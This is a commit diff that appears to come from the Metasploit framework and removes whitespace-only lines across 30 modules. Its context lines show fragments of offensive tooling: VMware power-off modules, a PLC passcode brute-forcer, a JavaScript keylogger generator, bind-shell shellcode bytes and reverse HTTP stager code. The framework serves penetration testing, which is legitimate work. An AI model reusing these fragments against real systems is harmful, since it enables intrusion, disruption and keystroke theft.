Massive whitespace destruction

Remove all the lines that have nothing but whitespace
unstable
sinn3r 2012-06-06 00:22:36 -05:00
parent f438e6c121
commit c30af98b53
30 changed files with 45 additions and 47 deletions

View File

@ -42,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary
], self.class)
end
# this is used for building a Modbus frame
# just prepends the payload with a modbus header
def makeframe(packetdata)
@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary
payload += [packetdata.size].pack("c") # size byte
payload += packetdata
end
# a wrapper just to be sure we increment the counter
def sendframe(payload)
sock.put(payload)

View File

@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
OptString.new('VM', [true, "The VM to try to Power Off"])
], self.class)
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
end

View File

@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('VM', [true, "The VM to try to Power On"]),
OptString.new('MSG', [true, "The message to put in the log", 'Pwned by Metasploit'])
], self.class)
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
end

View File

@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
OptString.new('KEYS', [true, "The session key to terminate"])
], self.class)
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
end

View File

@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary
p.tcp_src = rand(64511)+1024
p.tcp_seq = rand(64511)+1024
p.recalc
ackbpf = "tcp [8:4] == 0x#{(p.tcp_seq + 1).to_s(16)}"
pcap.setfilter("tcp and tcp[13] == 18 and not host #{ip} and src port #{p.tcp_dst} and dst port #{p.tcp_src} and #{ackbpf}")
capture_sendto(p, ip)

View File

@ -424,13 +424,13 @@ class Metasploit3 < Msf::Auxiliary
print_status("SIC Code: " + sic_code)
print_status("Sector: " + sector)
print_status("Source Type: " + source)
print_line("")
print_status("Address and Location Information\n-----------------------------")
print_status("Full Address: " + address)
print_status("Country Code: " + country)
print_status("Subdivision: " + subdiv)
print_line("")
print_status("Parent and Children Information\n---------------------------")
print_status("Top Parent ID: " + top_parent)

View File

@ -183,7 +183,7 @@ class Metasploit3 < Msf::Auxiliary
if buff[2,1].unpack("C")[0] == 67
stat = "Available"
end
if buff[2,1].unpack("C")[0] == 11
stat = "Busy"
end

View File

@ -139,7 +139,7 @@ class Metasploit3 < Msf::Auxiliary
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
end
@results.each_key do |k|
next if not @results[k].respond_to?('keys')
data = @results[k]
@ -214,11 +214,11 @@ class Metasploit3 < Msf::Auxiliary
when /^ST(.+)/
buff = $1.dup
stat = 'Unknown'
if buff[2,1].unpack("C")[0] == 67
stat = "Available"
end
if buff[2,1].unpack("C")[0] == 11
stat = "Busy"
end
@ -371,12 +371,12 @@ class Metasploit3 < Msf::Auxiliary
when 5093
app = 'Sentinel'
@results[hkey] = true
when 523
app = 'ibm-db2'
inf = db2disco_parse(pkt[0])
@results[hkey] = true
when 1604
app = 'citrix-ica'
return unless citrix_parse(pkt[0])

View File

@ -71,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary
if (res and res.code >= 200 and res.code < 300)
print_status("Found #{wmap_base_url}#{file}")
report_web_vuln(
:host => ip,
:port => rport,

View File

@ -49,7 +49,7 @@ class Metasploit3 < Msf::Auxiliary
# Force http verb to be upper-case, because otherwise some web servers such as
# Apache might throw you a 501
http_method = datastore['METHOD'].upcase
gvars = Hash.new()
pvars = Hash.new()
cvars = Hash.new()

View File

@ -147,7 +147,7 @@ class Metasploit3 < Msf::Auxiliary
print_status("NOT Found #{wmap_base_url}#{tpath}#{testfdir} #{res.code} (#{wmap_target_host})")
end
else
report_web_vuln(
:host => ip,
:port => rport,

View File

@ -174,7 +174,7 @@ class Metasploit3 < Msf::Auxiliary
# Unable to use report_web_vuln as method is PROPFIND and is not part of allowed
# list in db.rb
report_note(
:host => ip,
:proto => 'tcp',

View File

@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary
})
return [nil, nil] if not (res and res.headers['Set-Cookie'])
# Get the session ID from the cookie
m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/)
id = (m.nil?) ? nil : m[1]

View File

@ -70,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary
if (fpversion = res.match(/FPVersion="(.*)"/))
fpversion = $1
print_status("#{info} FrontPage Version: #{fpversion}")
if (fpauthor = res.match(/FPAuthorScriptUrl="([^"]*)/))
fpauthor = $1
print_status("#{info} FrontPage Author: #{info}#{fpauthor}")

View File

@ -129,11 +129,11 @@ class Metasploit4 < Msf::Auxiliary
#Add "/" if necessary
path = "/#{path}" if path[0,1] != '/'
if path[-1,1] != '/'
path += '/'
end
path += datastore['FILENAME']
case action.name

View File

@ -40,10 +40,10 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
begin
connect
res = send_request_raw({'uri' => '/', 'method' => 'GET' })
return if not res
fp = http_fingerprint(:response => res)
print_status("#{ip}:#{rport} #{fp}") if fp
rescue ::Timeout::Error, ::Errno::EPIPE

View File

@ -54,7 +54,7 @@ class Metasploit3 < Msf::Auxiliary
[
OptString.new('RIPE_ADDRESS', [ true, 'www.ripe.net IP address', '193.0.6.139' ]),
], self.class)
register_wmap_options({
'OrderID' => 1,
'Require' => {},

View File

@ -134,14 +134,14 @@ class Metasploit3 < Msf::Auxiliary
print_error "Handshake(3) failed on Host #{ip} aborting. (Error: #{res.inspect} )"
return :handshake_failed
end
nsock.put("\x6f\x62\x01\x02\x00\x00\x00")
res = nsock.get_once(-1,5)
unless res and res.include? "\x00\x7D\x08"
print_error "Handshake(4) failed on Host #{ip} aborting. (Error: #{res.inspect} )"
return :handshake_failed
end
res = nsock.get_once(-1,5) unless pca_at_login?(res)
unless pca_at_login?(res)
print_error "Handshake(5) failed on Host #{ip} aborting. (Error: #{res.inspect} )"

View File

@ -84,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary
0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C, 0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8,
0x6E17, 0x7E36, 0x4E55, 0x5E74, 0x2E93, 0x3EB2, 0x0ED1, 0x1EF0
]
def run_host(ip)
# Create a socket in order to receive responses from a non-default IP
@ -94,9 +94,9 @@ class Metasploit3 < Msf::Auxiliary
'Context' => {'Msf' => framework, 'MsfExploit' => self}
)
add_socket(@udp_sock)
print_status("#{rhost}:#{rport} - KOYO - Checking the controller for locked memory...")
if unlock_check
# TODO: Report a vulnerability for an unlocked controller?
print_good("#{rhost}:#{rport} - Unlocked!")
@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary
# TODO: Consider sort_by {rand} in order to avoid sequential guessing
# or something fancier
(0..9999999).each do |i|
passcode = datastore['PREFIX'] + i.to_s.rjust(7,'0')
vprint_status("#{rhost}:#{rport} - KOYO - Trying #{passcode}")

View File

@ -247,7 +247,7 @@ class Metasploit3 < Msf::Auxiliary
end
s = start_session(self, "SSH #{user}:#{self.good_key} (#{ip}:#{port})", merge_me, false, conn.lsock)
# Set the session platform
case proof
when /Linux/

View File

@ -65,7 +65,7 @@ class Metasploit3 < Msf::Auxiliary
def support_ipv6?
false
end
def run
@formsdir = datastore['FORMSDIR']
@template = datastore['TEMPLATE']

View File

@ -232,7 +232,7 @@ EOS
def generate_keylogger_js(base_url, cid)
targ = Rex::Text.rand_text_alpha(12)
code = <<EOS
var c#{@seed} = 0;
@ -267,12 +267,12 @@ function d#{@seed}(e){
function #{@seed}(k#{@seed}){
l#{@seed} = l#{@seed} + k#{@seed} + ",";
var t#{@seed} = "#{targ}" + c#{@seed};
c#{@seed}++;
var f#{@seed};
if (document.all)
f#{@seed} = document.createElement("<script name='" + t#{@seed} + "' id='" + t#{@seed} + "'></script>");
else {

View File

@ -29,7 +29,6 @@ module Metasploit3
},
'Payload' =>
[
# socket
0xe3a00002, # mov r0, #2
0xe3a01001, # mov r1, #1
@ -47,7 +46,7 @@ module Metasploit3
0xe1a07407, # lsl r7, r7, #8
0xe287701a, # add r7, r7, #26
0xef000000, # svc 0x00000000
# listen
0xe1a00006, # mov r0, r6
0xe3a07001, # mov r7, #1

View File

@ -59,7 +59,7 @@ module Metasploit3
port = datastore['LPORT']
end
exec_funcname = Rex::Text.rand_text_alpha(rand(10)+5)
uri = "tcp://#{ipaddr}"
socket_family = "AF_INET"

View File

@ -29,7 +29,7 @@ module Metasploit3
def self.handler_type_alias
"bind_ipv6_tcp"
end
def initialize(info = {})
super(merge_info(info,
'Name' => 'Bind TCP Stager (IPv6)',

View File

@ -50,7 +50,6 @@ module Metasploit3
'SCOPEID' => [ 58, 'V' ]
},
'Payload' =>
"\x31\xc0\x50\x40\x50\x6a\x1c\x6a\x61\x58\x50\xcd\x80\xeb\x0e\x59" +
"\x6a\x1c\x51\x50\x97\x6a\x62\x58\x50\xcd\x80\xeb\x21\xe8\xed\xff" +
"\xff\xff\x1c\x1c\xbf\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

View File

@ -79,12 +79,12 @@ module Metasploit3
i = p.index("/12345\x00")
u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW) + "\x00"
p[i, u.length] = u
lhost = datastore['LHOST'] || "0000:0000:0000:0000:0000:0000:0000:0000"
if Rex::Socket.is_ipv6?(lhost)
lhost = "[#{lhost}]"
end
p + lhost + "\x00"
end

View File

@ -86,7 +86,7 @@ module Metasploit3
if Rex::Socket.is_ipv6?(lhost)
lhost = "[#{lhost}]"
end
p + lhost + "\x00"
end

View File

@ -110,7 +110,7 @@ class Metasploit3 < Msf::Post
end
#attempt to make new service
#SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config
print_status("Trying to add a new service...")

View File

@ -80,7 +80,7 @@ class Metasploit3 < Msf::Post
found << reg['key'] + '\\' + reg['val']
end
end
# Did we find anything? If so store it in the evidence hash to be
# saved in the loot.
if found.empty?